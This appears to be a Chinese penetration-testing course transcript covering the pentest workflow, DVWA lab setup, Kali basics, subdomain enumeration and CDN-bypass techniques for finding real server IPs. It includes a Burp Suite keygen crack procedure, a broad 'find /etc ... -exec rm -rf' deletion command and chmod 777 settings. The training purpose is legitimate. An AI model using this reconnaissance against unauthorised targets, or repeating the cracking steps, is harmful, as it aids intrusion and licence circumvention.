本节课我们一起学习了Web安全中主要漏洞的手动挖掘思路。我们从明确目标开始，梳理了从XSS、SQL注入到文件操作、命令执行，再到逻辑漏洞、XXE和SSRF的完整攻击面。

核心总结：

  1. 思路大于工具：明确每种漏洞可能出现的业务场景（如查询点、上传点、下载点、URL参数点）。
  2. 敏感度是关键：对用户可控的输入点保持高度敏感，并尝试进行测试。
  3. 知识积累是基础：尤其是对于命令执行、XXE等漏洞，需要不断学习积累已知组件的漏洞信息。
  4. 善用案例学习：通过研究历史漏洞报告（如乌云镜像）可以最直观地理解漏洞的发现过程。

Web安全是渗透测试的起点，而非终点。在此基础之上，还有内网渗透、代码审计、社会工程学等更广阔的领域等待探索。保持发散的思维和持续学习的习惯，才能在这个领域不断进步。

网络安全就业推荐课程 P39：渗透测试基本流程 🔍

在本节课中，我们将要学习渗透测试的基本概念、核心流程以及相关的职业发展路径。课程内容旨在为初学者提供一个清晰、系统的入门指南。

什么是渗透测试？🛡️

上一节我们介绍了课程的整体安排，本节中我们来看看渗透测试究竟是什么。

渗透测试，可以理解为模拟黑客攻击的行为。其核心是按照黑客的真实攻击方法，去探测目标系统（如网站、操作系统或内网环境）中存在的安全漏洞。但与黑客不同，渗透测试的目的是发现漏洞并提交给客户（甲方），以帮助其修复，从而获得报酬。

这个流程广泛应用于挖掘大型互联网公司（如BAT）的漏洞、担任渗透测试工程师岗位以及参与每年的“护网行动”等场景。

渗透测试需要学习什么？📚

了解了渗透测试的定义后，我们来看看要掌握哪些知识和技能。学习过程需要循序渐进，不能急于求成。

以下是渗透测试学习路径中的几个核心基础模块：

  • 计算机基础：你不需要达到开发或网络工程师的水平。只需掌握基本操作，例如：
    • 熟练使用 Windows 和 Linux 操作系统。
    • 知道如何打开并使用 Windows的命令提示符（cmd）。
  • 网络基础：理解基本概念即可，例如：
    • 明白 IP地址 和 端口 是什么。
  • 常见的Web漏洞：Web即网站。你需要了解网站中常见的漏洞类型，例如：
    • SQL注入：一种通过Web输入字段非法操作数据库的经典漏洞。
    • 文件上传漏洞：当网站允许用户上传文件时，如果未对文件类型进行严格检查，攻击者可能上传恶意文件（如木马病毒）。

本课程侧重于内网渗透，因此对Web漏洞部分进行了简化，但会在后续课程中结合实践进行讲解，初学者无需担心。

渗透测试的基本流程 🔄

掌握了基础知识后，我们进入核心环节——渗透测试的标准工作流程。无论在哪个公司，其基本框架都大致相同。

以下是渗透测试的五个标准阶段：

  1. 前期交互
    此阶段由测试方与客户（甲方）沟通，明确测试范围、规则和时间。例如，确定测试哪些网站或资产，是否允许删除文件、上传测试代码等。这个阶段通常由项目负责人完成。

  2. 信息收集
    信息收集是渗透测试成功的关键。其核心思想是：尽可能全面地发现目标的所有关联资产。例如，目标主站防护严密，但其子域名（如新闻站、论坛、地图服务）可能存在弱点。收集更多资产信息，就增加了发现漏洞的机会。

  3. 漏洞探测
    在收集到的资产中，主动寻找安全漏洞。可以使用自动化扫描工具，也可以进行手工检测。一旦发现疑似漏洞，就会进入下一阶段。

  4. 漏洞利用与后渗透
    这是技术能力的集中体现，尤其是在内网渗透中。此阶段不仅要用利用脚本（Exploit）攻击漏洞，更重要的是在成功进入一个系统后，以此为跳板，在内网中进行横向移动，控制更多的机器和设备。能否绕过杀毒软件、进行权限维持等，是当前企业招聘渗透测试工程师时重点考察的能力。

  5. 报告编写
    测试结束后，需要将整个过程、发现的安全漏洞、风险等级及修复建议整理成一份详细的报告（通常是Word文档），提交给客户。报告的质量直接关系到项目验收和报酬。

总结与资源 🎁

本节课中我们一起学习了渗透测试的核心概念、所需的基础知识以及标准的工作流程。我们了解到，渗透测试是一个有章可循、循序渐进的过程，从前期沟通到最终报告，每一步都至关重要。

在教程开始之前，我们已经将网安学习路线图、必备工具、电子书籍、高清教学视频以及面试题等资源打包整理完毕。

网络安全就业推荐 P4：第2天：实操靶场环境安装 🛠️

概述

在本节课中，我们将学习如何搭建一个用于网络安全学习和测试的漏洞靶场环境。主要内容包括在Linux系统上部署LAMP环境，以及在Windows系统上使用PHPStudy集成环境，并最终部署DVWA漏洞靶场。同时，我们也会补充Java和Python环境的安装，为后续使用安全工具做好准备。

LAMP环境简介与安装

上一节我们概述了课程目标，本节中我们来看看什么是LAMP环境以及如何在Kali Linux中安装它。

LAMP指的是一组常用于搭建动态网站或服务器的开源软件组合的首字母缩写。它们本身是独立的程序，但由于经常被一起使用，所以被统称为LAMP。

以下是LAMP各组成部分的含义：

  • L：指 Linux 操作系统。它是一类Unix-like操作系统的统称，在服务器领域应用非常广泛。常见的发行版有CentOS、Debian、Ubuntu、Red Hat等。我们的Kali Linux就是基于Debian的发行版。
  • A：指 Apache，一个网页服务器。
  • M：指 MySQL 或 MariaDB 等数据库管理系统。
  • P：指 PHP 脚本语言。

我们主要讲解的是 Linux + Apache + MySQL + PHP 的架构。当然，也存在使用Nginx替代Apache的LNMP架构。两者的主要区别在于，Nginx占用系统资源更少，擅长处理静态页面请求，常作为前端服务器；而Apache则更擅长处理PHP等动态脚本请求，常作为后端服务器。

在Kali Linux中安装LAMP

在Linux系统中安装软件通常比Windows更方便。以下是安装LAMP环境的核心命令：

# 安装 Apache2
apt install apache2 -y

# 安装 MariaDB (在Kali中替代MySQL)
apt install mariadb mariadb-server -y

# 安装 PHP 及常用扩展
apt install php libapache2-mod-php php-mysql php-gd php-curl php-mbstring php-xml php-xmlrpc php-soap php-intl php-zip -y

命令解析：

  • apt：Debian系Linux的包管理工具。
  • install：安装软件。
  • -y：在安装过程中对所有提示自动回答“yes”。

安装完成后，需要启动服务：

# 启动 Apache2 服务
service apache2 start
# 或使用 systemctl (更推荐)
systemctl start apache2

# 设置 Apache2 开机自启
systemctl enable apache2

# 启动 MariaDB 服务
systemctl start mariadb

卸载LAMP环境

如果你需要卸载已安装的环境，可以使用以下命令：

# 自动移除 MariaDB 相关包
apt autoremove mariadb mariadb-server -y
# 移除 Apache2
apt remove apache2 -y
# 移除 PHP
apt remove php* -y

# 查找并删除残留的配置文件 (以mysql为例)
find /etc -name "*mysql*" -exec rm -rf {} \;
find /etc -name "*mariadb*" -exec rm -rf {} \;

部署DVWA漏洞靶场

上一节我们安装了基础的LAMP环境，本节中我们将利用这个环境来部署一个具体的漏洞靶场——DVWA。

DVWA简介

DVWA (Damn Vulnerable Web Application) 是一个基于PHP/MySQL的Web应用程序。它集成了OWASP Top 10中常见的Web漏洞（如SQL注入、XSS、文件上传等），并分为低、中、高、不可能四个安全等级，主要用于安全人员学习和测试漏洞利用技术。

部署步骤

以下是部署DVWA的具体步骤：

  1. 下载DVWA：从GitHub官方仓库下载源码压缩包。
  2. 解压文件：使用 unzip 命令解压下载的ZIP包。
    unzip DVWA-master.zip
  3. 移动到Web根目录：Apache的默认Web根目录通常是 /var/www/html/。将解压后的DVWA文件夹移动到此目录。
    mv DVWA-master /var/www/html/dvwa
  4. 配置DVWA：
    • 进入DVWA的配置目录。
      cd /var/www/html/dvwa/config/
    • 复制配置文件模板。
      cp config.inc.php.dist config.inc.php
    • 编辑 config.inc.php 文件，主要设置数据库密码（如果MariaDB的root用户密码为空，则留空）。
      $_DVWA[ 'db_password' ] = '';
  5. 配置PHP：启用allow_url_include功能，以支持DVWA的某些模块。
    • 编辑PHP配置文件（路径可能为 /etc/php/7.3/apache2/php.ini）。
    • 找到 allow_url_include 这一行，将其值改为 On。
    • 保存文件并重启Apache服务。
      systemctl restart apache2
  6. 安装PHP扩展：确保已安装php-gd扩展（用于验证码功能）。
    apt install php-gd -y
systemctl restart apache2
  7. 设置文件权限：为DVWA所需的目录赋予写权限。
    chmod -R 777 /var/www/html/dvwa/hackable/uploads/
chmod -R 777 /var/www/html/dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
chmod 777 /var/www/html/dvwa/config/
  8. 创建数据库用户：由于MariaDB的安全限制，建议不使用root用户连接DVWA。创建一个专用用户。
    # 登录MariaDB
mysql -u root
# 在MariaDB命令行中执行
CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY '';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost';
FLUSH PRIVILEGES;
exit;
    • 同时，记得在 config.inc.php 中将数据库用户改为 dvwa。
  9. 访问并安装：在浏览器中访问 http://localhost/dvwa/。按照页面提示，点击“Create / Reset Database”按钮。完成后，使用默认账号（admin）和密码（password）登录即可。

在Windows上使用PHPStudy部署环境

在Linux上部署环境需要对系统有一定了解。对于初学者，在Windows上使用集成环境会更加简单快捷。

PHPStudy简介

PHPStudy是一个Windows下的PHP调试环境程序集成包。它集成了Apache、Nginx、MySQL、PHP等多种环境，一键即可启动，极大简化了环境搭建流程。

注意：请务必从官网下载最新版本，旧版本可能存在安全后门。

部署DVWA（Windows版）

  1. 安装并启动PHPStudy：安装后，在面板上启动Apache和MySQL服务。
  2. 放置源码：将DVWA源码文件夹放入PHPStudy的WWW根目录（例如 D:\phpstudy_pro\WWW\），并重命名为 dvwa。
  3. 配置：
    • 重命名 config.inc.php.dist 为 config.inc.php。
    • 在PHPStudy面板中，打开PHP配置文件（php.ini），将 allow_url_include 设置为 On，并重启服务。
    • 在 config.inc.php 中配置数据库密码（PHPStudy默认root密码为 root）。
  4. 访问安装：浏览器访问 http://localhost/dvwa/，点击创建数据库，然后登录。

部署其他CMS（如熊海CMS）

步骤与DVWA类似：

  1. 将CMS源码放入WWW根目录。
  2. 访问该目录，通常会进入安装界面。
  3. 根据提示输入数据库信息（数据库名、用户名、密码）。
  4. 关键点：如果安装程序提示数据库不存在，需要手动创建。可以通过PHPStudy自带的数据库管理工具或命令行创建。
    CREATE DATABASE `cms_db_name`;
  5. 完成安装。

Java与Python环境安装

为了运行后续课程中涉及的安全工具（如Burp Suite），我们需要配置Java和Python环境。

Java环境安装 (Windows)

  1. 下载JDK：从Oracle官网下载JDK 8的Windows安装包。
  2. 安装：运行安装程序，记下安装路径（如 C:\Program Files\Java\jdk1.8.0_291）。
  3. 配置环境变量：
    • JAVA_HOME：新建系统变量，变量值为JDK安装路径（如 C:\Program Files\Java\jdk1.8.0_291）。
    • CLASSPATH：新建系统变量，变量值为 .;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;。
    • Path：编辑系统变量，新增两条：%JAVA_HOME%\bin 和 %JAVA_HOME%\jre\bin。
  4. 验证：打开CMD，输入 java -version 和 javac，能显示版本信息即成功。

Java环境安装 (Linux - Kali)

Kali Linux通常已安装Java。如需安装或确认，可使用包管理器：

# 查看可用版本
apt list openjdk*
# 安装 OpenJDK 8
apt install openjdk-8-jdk -y
# 验证
java -version

Python环境安装 (Windows)

  1. 下载安装包：从Python官网下载安装程序（推荐3.7或3.8版本）。
  2. 安装：运行安装程序。务必勾选 “Add Python 3.x to PATH”，这样安装程序会自动配置环境变量。建议选择“Customize installation”自定义安装路径。
  3. 验证：打开CMD，输入 python，能进入交互式命令行即成功。

Python环境安装 (Linux - Kali)

Kali Linux默认已安装Python 2和Python 3。可直接使用 python 或 python3 命令。

安全工具Burp Suite社区版激活

Burp Suite是Web安全测试中不可或缺的抓包、改包、扫描工具。社区版免费但功能有限，专业版需要许可证。以下是一种激活社区版的方法（仅供学习交流，请支持正版）。

激活步骤简述：

  1. 下载提供的Burp Suite文件包。
  2. 运行破解补丁 (burp-loader-keygen.jar)。
  3. 点击 Run 启动Burp，在许可证窗口将生成的许可证复制进去。
  4. 手动激活：将 License Request 复制到破解补丁，生成 Activation Response 并复制回Burp。
  5. 激活成功后，可编写批处理脚本方便日后启动。

注意：Kali Linux中通常预装了更新版本的Burp Suite社区版，可直接使用。

总结

本节课中我们一起学习了网络安全学习环境的搭建。我们从LAMP基础环境讲起，分别在Linux和Windows系统上成功部署了DVWA漏洞靶场，为后续的漏洞原理学习和实操打下了基础。同时，我们也配置了Java和Python运行环境，并介绍了核心安全工具Burp Suite的获取与基本使用。掌握这些环境的搭建，是你迈向Web安全实践的第一步。

课程P40：第1天 - 渗透测试工具环境准备 🛠️

在本节课中，我们将学习如何搭建渗透测试所需的基础环境。主要内容包括虚拟机软件VMware的安装、Kali Linux渗透测试系统的安装与基础配置、Java（JDK）和Python开发环境的安装，以及渗透测试基本流程和常用工具的简介。

VMware安装与Kali Linux部署 🖥️

上一节我们介绍了课程概述，本节中我们来看看如何搭建虚拟化环境。

VMware Workstation是一款功能强大的虚拟机软件，允许我们在单一物理机上运行多个操作系统。它是我们搭建渗透测试实验环境的基础。

以下是VMware的安装步骤：

  1. 从课程预习资料或VMware官网获取安装程序。
  2. 运行安装程序，按照向导提示完成安装。
  3. 使用提供的许可证密钥完成软件的激活。

安装好VMware后，我们需要在其中部署Kali Linux。Kali Linux是基于Debian的Linux发行版，它预装了超过600种渗透测试和安全审计工具，是安全研究人员和渗透测试人员的首选系统。

我们选择Kali Linux的原因如下：

  • 环境集成：Kali已预配置好渗透测试所需的基础环境。
  • 工具丰富：自带大量安全工具，涵盖信息收集、漏洞分析、密码攻击等多个领域。
  • 免费开源：完全免费且支持多语言（包括中文）。

Kali Linux的安装步骤如下：

  1. 从Kali官网下载系统镜像文件（ISO）。
  2. 在VMware中创建新的虚拟机，选择下载的Kali镜像文件。
  3. 按照虚拟机创建向导，分配内存、硬盘空间等资源。
  4. 启动虚拟机，跟随Kali安装程序的图形界面指引完成系统安装。

注意：在渗透测试学习中，我们通常需要模拟攻击方（Kali）和被攻击方（靶机）。因此，建议你参照此方法，再安装一个Windows操作系统（如Win7/10）的虚拟机作为练习靶机。切勿对未授权的真实目标进行测试。

Kali Linux基础配置与使用 🐧

上一节我们完成了虚拟环境的搭建，本节中我们来看看Kali Linux系统的基础知识。

Kali基于Debian，而Linux是一种开源的类Unix操作系统。它与Windows不同，采用树状的目录结构，并且“万物皆文件”，包括硬件设备、配置、命令等都以文件形式存在。

Linux系统的根目录是 /，其下包含许多重要的系统目录。以下是根目录下主要子目录的功能简介：

  • /bin：存放最常用的用户命令二进制文件，如 cat, ls。
  • /boot：存放系统启动时所需的内核与引导文件。
  • /dev：存放设备文件，如接入的U盘会在此生成对应文件。
  • /etc：存放系统管理和应用程序的配置文件。
  • /home：普通用户的主目录所在地，每个用户拥有一个以用户名命名的子目录。
  • /lib：存放系统最基本的动态链接共享库文件（类似Windows的DLL）。
  • /opt：用于安装第三方额外软件，默认为空。
  • /root：系统超级管理员（root用户）的主目录。
  • /sbin：存放系统管理员使用的系统管理程序。
  • /usr：存放用户应用程序和文件，类似Windows的 Program Files。
  • /tmp：存放临时文件。该目录权限特殊，所有用户通常都有读写执行权限，在渗透测试中常被用于上传木马等操作。
  • /var：存放经常变化的文件，如日志文件。

用户与权限管理

在Kali中，默认可能不是以root用户登录。要切换到root用户，可以执行以下命令：

# 首先为root用户设置新密码
sudo passwd root
# 然后切换到root用户
su root

# 符号提示符代表当前是root用户。在虚拟机实验环境中，可以使用root权限，但操作需谨慎。

Linux系统的文件权限管理非常精细。使用 ls -l 命令可以查看文件的详细权限信息，例如 drwxr-xr-x。

  • 第一个字符 d 表示目录，- 表示普通文件。
  • 后续9个字符，每3个为一组，分别代表文件所有者（属主）、所属用户组（属组） 和其他用户的权限。
  • r 代表读，w 代表写，x 代表执行。

为了方便，权限常用数字表示：r=4, w=2, x=1。因此 rwx 就是 7 (4+2+1)，r-x 就是 5 (4+0+1)。

以下是权限管理的常用命令：

# 创建一个新文件
touch test.txt
# 查看文件详细信息（包含权限）
ls -l test.txt
# 修改文件权限为所有用户可读、可写、可执行（777）
chmod 777 test.txt
# 修改文件权限为仅所有者可读（400）
chmod 400 test.txt
# 修改文件的所有者和所属组
chown username:groupname test.txt

文件与目录操作

操作前需理解两个概念：

  • 绝对路径：从根目录 / 开始的完整路径，如 /usr/local/bin。
  • 相对路径：相对于当前目录的路径，. 代表当前目录，.. 代表上级目录。

以下是基本的文件和目录管理命令：

# 查看当前目录下的文件和目录
ls
# 切换目录到根目录
cd /
# 显示当前所在目录的路径
pwd
# 创建新目录
mkdir new_folder
# 删除空目录
rmdir new_folder
# 复制文件
cp file1.txt /home/
# 移动（或重命名）文件
mv file1.txt /home/renamed_file.txt
# 删除文件
rm file1.txt

提示：Linux操作重在实践，建议在Kali中多练习这些命令。如需系统学习，可参考课程资料中的“菜鸟教程Linux”或“合天网安实验室”相关课程。

网络配置

Kali的网络配置通常位于 /etc/network/interfaces 文件。可以使用 vi 或 nano 编辑器进行修改，配置IP地址、子网掩码、网关等信息。配置后需重启网络服务。

在VMware中，虚拟机网络连接有三种主要模式：

  1. 桥接模式：虚拟机直接连接到物理网络，获取与宿主机同网段的独立IP，可访问外网。
  2. NAT模式（推荐）：虚拟机通过宿主机的IP共享上网，宿主机充当路由器。这是最常用的模式。
  3. 仅主机模式：虚拟机与宿主机组成私有网络，不与外界通信。

使用以下命令检查网络：

# 查看IP地址等网络配置信息
ifconfig 或 ip addr
# 测试网络连通性（ping百度）
ping www.baidu.com

Kali内置工具

Kali的工具菜单按功能分类，如“信息收集”、“漏洞分析”、“Web程序”、“密码攻击”等。你可以通过左上角的应用程序菜单浏览。每个工具通常有对应的手册页（man 工具名）或在线文档说明其用法。

Java与Python环境安装 ⚙️

上一节我们熟悉了Kali Linux系统，本节中我们来看看渗透测试中另外两个关键环境：Java和Python的安装。

为什么需要它们？

  • Java (JDK)：许多渗透测试工具（如Burp Suite）是基于Java开发的，需要JDK环境才能运行。
  • Python：渗透测试中大量的漏洞利用脚本、自动化工具和安全工具都是用Python编写的，因其语法简洁、库丰富，是编写测试脚本的首选语言。

Windows系统安装JDK

  1. 下载：从Oracle官网下载JDK 8（版本稳定且够用）的Windows x64安装包。下载可能需要Oracle账户，可使用课程资料中提供的共享账户。
  2. 安装：运行安装程序，建议使用默认安装路径（如 C:\Program Files\Java\jdk1.8.0_XXX）。
  3. 配置环境变量：
    • 右键“此电脑” -> “属性” -> “高级系统设置” -> “环境变量”。
    • 在“系统变量”中，新建变量 JAVA_HOME，值为JDK的安装路径（如 C:\Program Files\Java\jdk1.8.0_XXX）。
    • 编辑“系统变量”中的 Path，新增两项：%JAVA_HOME%\bin 和 %JAVA_HOME%\jre\bin。
  4. 验证：打开命令提示符（CMD），输入 java -version 和 javac，若显示版本信息而非错误，则安装成功。

Linux系统安装JDK（以CentOS为例）

在Kali中，JDK通常已预装。如果在其他Linux系统（如CentOS）中安装，推荐使用包管理器：

# 使用yum包管理器安装JDK 8
yum install java-1.8.0-openjdk-devel -y

-y 参数表示自动确认安装过程中的所有提示。

Windows系统安装Python 3

  1. 下载：从Python官网下载Python 3.7或3.8的Windows安装程序（建议选择3.x版本，Python 2已停止维护）。
  2. 安装：运行安装程序。关键步骤：务必勾选 “Add Python 3.x to PATH”，这样安装程序会自动配置环境变量。可以选择自定义安装路径。
  3. 验证：打开命令提示符（CMD），输入 python --version，显示版本号即成功。

Linux系统安装Python 3

Kali通常已预装Python。如需在其他系统安装或升级，可使用包管理器：

# 对于Debian/Ubuntu/Kali（使用apt）
apt update
apt install python3 python3-pip -y
# 对于CentOS/RedHat（使用yum）
yum install python3 python3-pip -y

pip 是Python的包管理工具，用于安装第三方库，非常重要。

渗透测试基本流程与工具简介 🎯

上一节我们配置好了编程环境，本节中我们来看看渗透测试的整体工作流程以及会用到的一些核心工具。

一个标准的渗透测试流程通常包含以下阶段：

  1. 明确目标：获得客户授权，确定测试范围与规则。
  2. 信息收集：收集目标资产信息（域名、IP、端口、服务、人员信息等）。这是后续所有步骤的基础，也是面试常考点。
  3. 漏洞探测：利用工具或手动方式，分析收集到的信息，发现可能存在的安全漏洞。
  4. 漏洞利用：编写或使用现有漏洞利用代码（Exploit），尝试攻击漏洞，获取系统权限或敏感数据。
  5. 内网渗透（如果涉及）：在取得立足点后，进一步探测和攻击内网其他主机。
  6. 信息整理与报告编写：整理攻击过程、所利用的漏洞、获取的数据，形成专业的渗透测试报告交付客户。

在整个流程中，尤其是在信息收集、漏洞探测和利用阶段，我们会借助大量自动化工具来提高效率。课程资料中提供了工具包，包含以下类别（后续课程会详细讲解）：

  • 信息收集工具：用于扫描端口、识别服务、收集子域名等。
  • 漏洞扫描器：自动化扫描Web或系统漏洞。
  • 密码破解工具：用于爆破登录口令、哈希等。
  • Web攻击工具：如 sqlmap（自动化SQL注入工具）、Burp Suite（抓包与Web漏洞测试平台）。
  • 漏洞利用框架：如 Metasploit（渗透测试神器）。
  • 后渗透与权限维持工具：如Webshell管理工具、代理工具等。

重要提醒：所有工具都应在自己搭建的虚拟机实验环境中学习和使用，严格遵守法律法规，切勿用于未授权的测试。

总结 📝

本节课中我们一起学习了渗透测试入门的第一步——环境准备。我们详细讲解了如何安装VMware虚拟机软件和Kali Linux渗透测试系统，学习了Linux的基础命令、文件权限和网络配置。同时，我们也完成了Java（JDK）和Python 3开发环境的安装，这是运行众多安全工具的基石。最后，我们概述了渗透测试的基本流程和常用工具分类，为后续的实战学习打下了坚实的基础。

如果在环境安装过程中遇到任何问题，请及时在课程群内提问。下一节课，我们将深入探讨渗透测试的核心起点——信息收集。

网络安全就业推荐 - 课程P41：第2天：域名信息收集 🎯

在本节课中，我们将要学习渗透测试信息收集的第一部分——域名信息收集。信息收集是渗透测试成功的关键保障，它帮助我们全面了解目标资产，从而找到潜在的突破口。本节课将详细介绍域名信息收集的核心概念、方法及常用工具。

为什么要进行信息收集？🤔

信息收集是指通过各种方式获取所需信息，便于在后续的渗透过程中更有效地进行测试。我们需要收集的信息包括目标站点的IP地址、服务器中间件（如Apache、Tomcat）、脚本语言（如PHP、JSP、ASP）、开放端口、管理员邮箱等。信息收集不仅限于资产收集，它还能扩大目标的暴露面，增加渗透成功的可能性。

上一节我们介绍了信息收集的重要性，本节中我们来看看信息收集的具体分类。

信息收集的分类

信息收集主要分为主动信息收集和被动信息收集。

主动信息收集是指通过直接与目标系统交互来获取信息，例如对网站进行漏洞扫描、端口扫描等。这种方式会产生网络流量，并可能在目标服务器的日志中留下访问记录。如果目标部署了防火墙或入侵检测系统，可能会触发警报甚至封锁。

被动信息收集则是基于公开渠道，在不与目标系统直接交互的情况下获取信息，例如利用搜索引擎或网络空间搜索引擎。这种方式旨在尽量避免留下痕迹。例如，我们可以利用搜索引擎已爬取并存放在互联网上的信息进行查询，而无需直接访问目标服务器。

信息收集的具体内容

无论是面试、刚入门想转行渗透测试的同学，还是已经从事渗透测试的工程师，在进行项目时都需要收集以下几类信息：

以下是需要收集的核心信息列表：

  1. 服务器信息：包括IP地址、开放的端口及运行的服务。
  2. 网站信息：这是渗透测试的首要目标。需要了解网站的架构，包括：
    • 服务器操作系统
    • 中间件（如Nginx, Apache）
    • 数据库（如MySQL, PostgreSQL）
    • 编程语言（如PHP, Python）
    • Web应用防火墙（WAF）指纹
    • 敏感目录与文件
    • 是否存在源码泄露
    • C段和旁站信息
  3. 域名信息：通过WHOIS查询、备案信息查询和子域名搜索来获取。
  4. 人员信息：目标系统相关人员的姓名、职务、生日、联系电话或邮件地址等。这些信息可用于生成密码字典进行爆破，因为管理员常使用此类信息设置密码。

上一节我们明确了需要收集哪些信息，本节中我们重点来看域名信息收集的核心概念。

域名与WHOIS查询 🌐

域名是Internet上用于标识计算机或计算机组的一串用点分隔的名字。它通过DNS（域名解析系统）与IP地址相互映射，使人能更方便地访问互联网。例如，www.baidu.com 就是一个易于记忆的域名。

域名分为不同级别，如顶级域名（.com, .gov, .edu）、二级域名（如 mail.example.com 中的 mail）等。

WHOIS是用来查询域名是否被注册以及注册域名详细信息的数据库。通过WHOIS查询，我们可以获得域名的注册人、注册商、注册日期、过期日期和联系方式等信息。通常情况下，中小型网站的域名注册者可能就是网站管理员。

以下是进行WHOIS查询的两种主要方法：

  • Web接口查询：非常方便，例如可以使用阿里云或站长之家提供的WHOIS查询接口。只需在查询框中输入目标域名即可。
  • 命令行查询：在Kali Linux等系统中，可以直接使用 whois 命令进行查询，例如 whois baidu.com。

备案信息查询

在中国大陆，搭建网站并进行域名解析需要进行备案，备案后会获得一个ICP备案号。通常，网站底部会显示此备案号。通过查询备案信息，我们可以搜集到网站的管理员信息、关联的旁站以及子域名信息。

子域名收集 🎯

子域名收集是渗透测试中非常重要的环节。子域名是顶级域名的下一级，例如 mail.hetianlab.com 是 hetianlab.com 的子域。广泛收集子域名能极大增加发现漏洞的可能性，因为主站往往防护严密，而一些次要的或新上线的子站可能存在安全漏洞。

以下是几种常用的子域名收集方法：

  1. 搜索引擎语法：利用Google等搜索引擎的特定语法进行搜索。例如，使用 site:hetianlab.com 可以搜索出与该域名相关的众多子域名和其他信息。其他有用的语法还包括 inurl:, intitle: 等。
  2. 第三方网站查询：利用如站长之家等提供子域名查询服务的网站。这些网站聚合了大量的DNS记录，可供查询。
  3. 网络空间搜索引擎：使用如Fofa、Shodan（撒旦）、ZoomEye（钟馗之眼）等专业搜索引擎。它们通过持续扫描全网来暴露服务器的端口、服务等信息，同样可用于搜索子域名。
  4. SSL证书查询：启用HTTPS（443端口）的网站需要SSL证书。通过查询证书颁发机构记录或利用相关接口（如 https://crt.sh），可以找到关联同一证书的多个子域名。
  5. JS文件发现：网页的JavaScript代码中常常会引用其他子域名的资源。通过工具（如JSFinder）对目标网站的JS文件进行爬取和分析，可以提取出隐藏的子域名。
    • 代码示例（JSFinder基本用法）：
      python3 JSFinder.py -u http://www.example.com
  6. 工具爆破：使用专门的工具，通过内置或自定义的字典，对目标域名进行子域名爆破尝试。
    • 子域名挖掘机：图形化工具，利用字典进行爆破，但速度较慢，资源占用高。
    • OneForAll：一个功能强大的子域名收集工具，其效果很大程度上依赖于配置的API数量和质量。需要配置如搜索引擎API、DNS查询API等。
      • 代码示例（OneForAll基本用法）：
        python3 oneforall.py --target example.com run
    • Sublist3r：一个用于枚举子域的Python脚本，支持多种数据源。
      • 代码示例（Sublist3r基本用法）：
        python3 sublist3r.py -d example.com

在实际渗透测试中，通常需要综合使用多种工具和方法，将结果去重汇总，以获得最全面、最准确的子域名列表。

总结与课后任务 📚

本节课中我们一起学习了域名信息收集的核心知识与实践方法。我们了解了信息收集的重要性与分类，掌握了通过WHOIS和备案信息查询获取域名基本信息，并重点学习了多种子域名收集的技术，包括搜索引擎语法、第三方查询、网络空间搜索引擎、SSL证书查询、JS文件分析以及工具爆破。

课后任务：请使用任意两种本节课介绍的工具或方法（例如OneForAll、Sublist3r、搜索引擎语法等），分别收集 hetianlab.com 和 baidu.com 的子域名列表。

请记住，在学习和实践Web安全与渗透测试的过程中，动手复现至关重要。听课可能觉得简单，但自己操作时可能会遇到各种环境或工具问题。在解决这些问题的过程中学习、记忆，并将知识应用到实际工作中，才是正确的学习路径。

网络安全就业推荐 - P42：第3天：IP、端口信息收集 🎯

在本节课中，我们将学习渗透测试信息收集的第二部分：IP地址及其端口的信息收集。掌握这些技能对于定位目标、发现潜在攻击面至关重要。

IP地址信息收集

上一节我们介绍了域名与子域名收集，本节中我们来看看如何收集IP地址信息。IP地址代表主机在网络中的位置，其信息收集非常重要。当甲方给予的目标是IP地址时，我们可以通过IP进行反查域名。如果渗透目标为虚拟主机，那么通过IP进行反查域名就很有价值。因为一台物理服务器上可能运行多个虚拟主机，这些虚拟主机有不同的域名，但通常共用一个IP地址。如果你知道有哪些网站共用这一台服务器，拥有同一个IP地址，那么就可以通过IP进行反查域名。通过此台服务器上其他的网站漏洞获取服务器控制权，进而迂回获取渗透目标的权限，这也就是我们经常说到的“旁注”。

以下是进行IP信息收集的两种主要场景和方法：

  1. 通过IP反查域名
    此方法适用于目标为IP或需要查找同一服务器上的其他站点（旁站）。我们可以使用站长之家（chinaz.com）的Web接口进行查找。在查询框中输入IP地址，例如 58.20.54.26，即可查询到该IP绑定的域名，如 hetianlab.com。

  2. 通过域名查IP
    此方法用于获取目标服务器的真实IP地址。如果收到的资产是域名，我们需要对IP进行服务探测和端口探测。通过域名查IP很简单，可以使用 ping 命令请求DNS解析。

    ping hetianlab.com

    或者使用站长之家的Web接口进行查询，输入域名即可获得IP地址及地理位置等信息。

绕过CDN获取真实IP

现在大部分网站都开启了CDN服务。CDN（内容分发网络）依靠部署在各地的边缘服务器，使用户就近获取所需内容。这会导致我们查询域名时得到的是CDN节点的IP，而非网站真实服务器的IP。我们需要绕过CDN来获取真实IP。

首先，我们需要判断目标是否使用了CDN。可以使用站长之家的“多地Ping”功能。如果从不同地区Ping同一个域名，返回的IP地址不同，则很可能开启了CDN。

以下是几种绕过CDN获取真实IP的常用方法：

  • 国外访问探测：CDN服务按流量收费，且在中国大陆以外地区架设成本较高。因此，很多国内网站不会对国外用户开启CDN。我们可以利用国外的在线Ping工具（如 ping.chinaz.com 的海外节点）进行探测，如果海外节点Ping出的IP一致，则该IP可能是真实IP。
  • 查询子域名IP：CDN价格昂贵，通常只对主站或重要子站启用。一些不起眼的子域名可能直接解析到真实服务器IP。通过查询子域名的IP，并进一步探测其C段（同一网段），有可能找到真实服务器IP。
  • 查看PHPInfo文件：如果目标服务器存在 phpinfo.php 文件且未被删除，访问该文件可能在 $_SERVER[‘SERVER_ADDR’] 变量中看到服务器的真实IP地址。但此方法成功率较低，因为管理员通常会删除此文件，且很多网站并非PHP架构。
  • 查询邮件服务记录：如果目标网站有邮件服务器，并且邮件服务器与Web服务器在同一台物理机上，则可以通过查看邮件的原始代码获取IP。在邮件原文中查找 Received from 后面的IP地址，可能即是服务器真实IP。
  • 查询历史DNS记录：网站在启用CDN之前，需要先将域名解析到真实IP。这些历史解析记录可能会被DNS查询网站收录。我们可以通过查询域名的历史DNS记录（特别是A记录）来寻找真实IP。可以使用 viewdns.info 等网站进行查询。

如果目标对全球都开启了CDN，并且没有历史解析记录，则可能无法绕过。但对于一般的中小型网站，通常能找到其真实IP。

C段主机探测

